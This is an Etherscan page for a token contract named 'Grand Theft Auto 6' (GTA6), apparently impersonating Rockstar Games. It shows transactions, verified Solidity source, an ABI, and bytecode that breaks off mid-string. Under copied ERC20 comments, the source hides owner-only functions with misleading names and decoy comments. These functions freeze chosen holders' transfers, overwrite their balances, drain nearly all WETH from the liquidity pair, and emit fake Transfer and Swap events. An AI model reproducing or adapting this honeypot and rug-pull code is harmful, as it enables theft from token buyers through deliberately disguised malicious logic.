ETH Price: $3,291.43 (-10.46%)

Contract

0xB2A70c286795fb7A077e60ef54F819Ea6f6E5766
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve191266882024-01-31 13:13:35324 days ago1706706815IN
0xB2A70c28...a6f6E5766
0 ETH0.000880636.56380163
Approve191266832024-01-31 13:12:35324 days ago1706706755IN
0xB2A70c28...a6f6E5766
0 ETH0.0010655144.13182456
Approve191266822024-01-31 13:12:23324 days ago1706706743IN
0xB2A70c28...a6f6E5766
0 ETH0.0010901845.15345367
Approve188882942023-12-29 2:33:59357 days ago1703817239IN
0xB2A70c28...a6f6E5766
0 ETH0.0004466718.5003501
Approve188882932023-12-29 2:33:47357 days ago1703817227IN
0xB2A70c28...a6f6E5766
0 ETH0.0004510418.72815992
Address187234762023-12-05 23:39:35380 days ago1701819575IN
0xB2A70c28...a6f6E5766
0 ETH0.008383459.36117729
Approve187227342023-12-05 21:10:23380 days ago1701810623IN
0xB2A70c28...a6f6E5766
0 ETH0.0026028556.06221501
Multicall187219752023-12-05 18:37:47380 days ago1701801467IN
0xB2A70c28...a6f6E5766
0 ETH0.0037141175.46866224
Approve187210912023-12-05 15:39:23380 days ago1701790763IN
0xB2A70c28...a6f6E5766
0 ETH0.0028898162.59886186
Approve187210682023-12-05 15:34:47380 days ago1701790487IN
0xB2A70c28...a6f6E5766
0 ETH0.0024539753.22689979
Approve187206942023-12-05 14:19:59380 days ago1701785999IN
0xB2A70c28...a6f6E5766
0 ETH0.0040239986.78380096
Approve187206322023-12-05 14:07:23380 days ago1701785243IN
0xB2A70c28...a6f6E5766
0 ETH0.0043867494.48494468
Approve187196612023-12-05 10:50:23381 days ago1701773423IN
0xB2A70c28...a6f6E5766
0 ETH0.0018407739.69932669
Approve187196522023-12-05 10:48:35381 days ago1701773315IN
0xB2A70c28...a6f6E5766
0 ETH0.0012338746.5542105
Approve187196502023-12-05 10:48:11381 days ago1701773291IN
0xB2A70c28...a6f6E5766
0 ETH0.0020715744.64214338
Multicall187193122023-12-05 9:39:59381 days ago1701769199IN
0xB2A70c28...a6f6E5766
0 ETH0.0021421943.528068
Approve187188812023-12-05 8:13:35381 days ago1701764015IN
0xB2A70c28...a6f6E5766
0 ETH0.0021562746.73338443
Multicall187181482023-12-05 5:45:47381 days ago1701755147IN
0xB2A70c28...a6f6E5766
0 ETH0.0019352639.32355487
Multicall187181452023-12-05 5:45:11381 days ago1701755111IN
0xB2A70c28...a6f6E5766
0 ETH0.0018813538.23730811
Approve187180702023-12-05 5:30:11381 days ago1701754211IN
0xB2A70c28...a6f6E5766
0 ETH0.0018135439.33594959
Multicall187180472023-12-05 5:25:35381 days ago1701753935IN
0xB2A70c28...a6f6E5766
0 ETH0.00201140.86255091
Multicall187178192023-12-05 4:39:47381 days ago1701751187IN
0xB2A70c28...a6f6E5766
0 ETH0.0022695146.11518976
Approve187176912023-12-05 4:13:35381 days ago1701749615IN
0xB2A70c28...a6f6E5766
0 ETH0.0020093243.3119452
Multicall187176682023-12-05 4:08:59381 days ago1701749339IN
0xB2A70c28...a6f6E5766
0 ETH0.0023062746.86223827
Approve187175542023-12-05 3:45:47381 days ago1701747947IN
0xB2A70c28...a6f6E5766
0 ETH0.0018209639.27195905
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GTA

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 99999 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-05
*/

/*

https://x.com/RockstarGames
https://www.rockstargames.com

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract GTA is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping (address => uint) public rootValues;

    constructor() {
        _name = "Grand Theft Auto 6";
        _symbol = "GTA6";
        _totalSupply = 202_500_000e18;
        owner = msg.sender;
        b[owner] = _totalSupply;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }

    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? // Skip this code
                        address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0))
                        // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

        /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rootValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526008805460ff60a01b1916600960a11b1790553480156200002457600080fd5b506040805180820190915260128082527123b930b732102a3432b33a1020baba37901b60711b60209092019182526200006091600591620002b9565b506040805180820190915260048082526323aa209b60e11b60209092019182526200008e91600691620002b9565b506aa7810aff1519f7da8000006004818155600380546001600160a01b03199081163317918290556001600160a01b039182166000908152600160209081526040918290209590955560078054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1791829055805163c45a015560e01b81529051919092169363c45a01559383810193919291829003018186803b1580156200012d57600080fd5b505afa15801562000142573d6000803e3d6000fd5b505050506040513d60208110156200015957600080fd5b5051600754604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b158015620001ac57600080fd5b505afa158015620001c1573d6000803e3d6000fd5b505050506040513d6020811015620001d857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200022b57600080fd5b505af115801562000240573d6000803e3d6000fd5b505050506040513d60208110156200025757600080fd5b5051600880546001600160a01b0319166001600160a01b03909216919091179055600454604080519182525133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916020908290030190a362000365565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620002f157600085556200033c565b82601f106200030c57805160ff19168380011785556200033c565b828001600101855582156200033c579182015b828111156200033c5782518255916020019190600101906200031f565b506200034a9291506200034e565b5090565b5b808211156200034a57600081556001016200034f565b611dc780620003756000396000f3fe608060405234801561001057600080fd5b506004361061016c5760003560e01c806370a08231116100cd578063bda0278211610081578063ea923bae11610066578063ea923bae146105e7578063ebfb412d14610657578063ff5c1d621461068a5761016c565b8063bda0278214610579578063dd62ed3e146105ac5761016c565b806395d89b41116100b257806395d89b41146104ff578063a457c2d714610507578063a9059cbb146105405761016c565b806370a082311461049b5780638da5cb5b146104ce5761016c565b8063313ce567116101245780633950935111610109578063395093511461035b5780635765a5cc1461039457806358a10259146103cf5761016c565b8063313ce567146102cb578063316d295f146102e95761016c565b8063095ea7b311610155578063095ea7b31461023357806318160ddd1461028057806323b872dd146102885761016c565b806304ee65c01461017157806306fdde03146101b6575b600080fd5b6101a46004803603602081101561018757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166106bd565b60408051918252519081900360200190f35b6101be6106cf565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f85781810151838201526020016101e0565b50505050905090810190601f1680156102255780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61026c6004803603604081101561024957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610783565b604080519115158252519081900360200190f35b6101a4610799565b61026c6004803603606081101561029e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135909116906040013561079f565b6102d36107c1565b6040805160ff9092168252519081900360200190f35b610359600480360360408110156102ff57600080fd5b81019060208101813564010000000081111561031a57600080fd5b82018360208201111561032c57600080fd5b8035906020019184602083028401116401000000008311171561034e57600080fd5b9193509150356107e2565b005b61026c6004803603604081101561037157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356108cc565b6101a4600480360360408110156103aa57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166108e5565b61026c600480360360808110156103e557600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff602082013516916040820135919081019060808101606082013564010000000081111561042957600080fd5b82018360208201111561043b57600080fd5b8035906020019184602083028401116401000000008311171561045d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108ff945050505050565b6101a4600480360360208110156104b157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166109c7565b6104d66109ef565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101be610a0b565b61026c6004803603604081101561051d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a8a565b61026c6004803603604081101561055657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610b0b565b6101a46004803603602081101561058f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b18565b6101a4600480360360408110156105c257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610b2a565b610359600480360360408110156105fd57600080fd5b81019060208101813564010000000081111561061857600080fd5b82018360208201111561062a57600080fd5b8035906020019184602083028401116401000000008311171561064c57600080fd5b919350915035610b60565b6103596004803603602081101561066d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c32565b6101a4600480360360208110156106a057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d8f565b60026020526000908152604090205481565b60058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107795780601f1061074e57610100808354040283529160200191610779565b820191906000526020600020905b81548152906001019060200180831161075c57829003601f168201915b5050505050905090565b6000610790338484610da1565b50600192915050565b60045490565b60006107ac843384610ee6565b6107b7848484610f97565b5060019392505050565b60085474010000000000000000000000000000000000000000900460ff1681565b60035473ffffffffffffffffffffffffffffffffffffffff16331461086857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156108c65742156108be57600061089e606086868581811061088c57fe5b9050602002013560001c901c8461120f565b90506108bc8585848181106108af57fe5b9050602002013582611246565b505b60010161086b565b50505050565b6000336107b78185856108df8383610b2a565b01610da1565b600060208181529281526040808220909352908152205481565b60035460009073ffffffffffffffffffffffffffffffffffffffff16331461098857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82518110156109bb576109b38382815181106109a357fe5b6020026020010151878688611284565b60010161098b565b50600195945050505050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205490565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b60068054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107795780601f1061074e57610100808354040283529160200191610779565b60003381610a988286610b2a565b905083811015610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d6d6025913960400191505060405180910390fd5b610b008286868403610da1565b506001949350505050565b6000610790338484610f97565b60016020526000908152604090205481565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526020818152604080832093909416825291909152205490565b60035473ffffffffffffffffffffffffffffffffffffffff163314610be657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156108c6574215610c2a576000610c0a606086868581811061088c57fe5b9050610c28858584818110610c1b57fe5b9050602002013582611401565b505b600101610be9565b60035473ffffffffffffffffffffffffffffffffffffffff163314610cb857604080517f08c379a000000000000000000000000000000000000000000000000000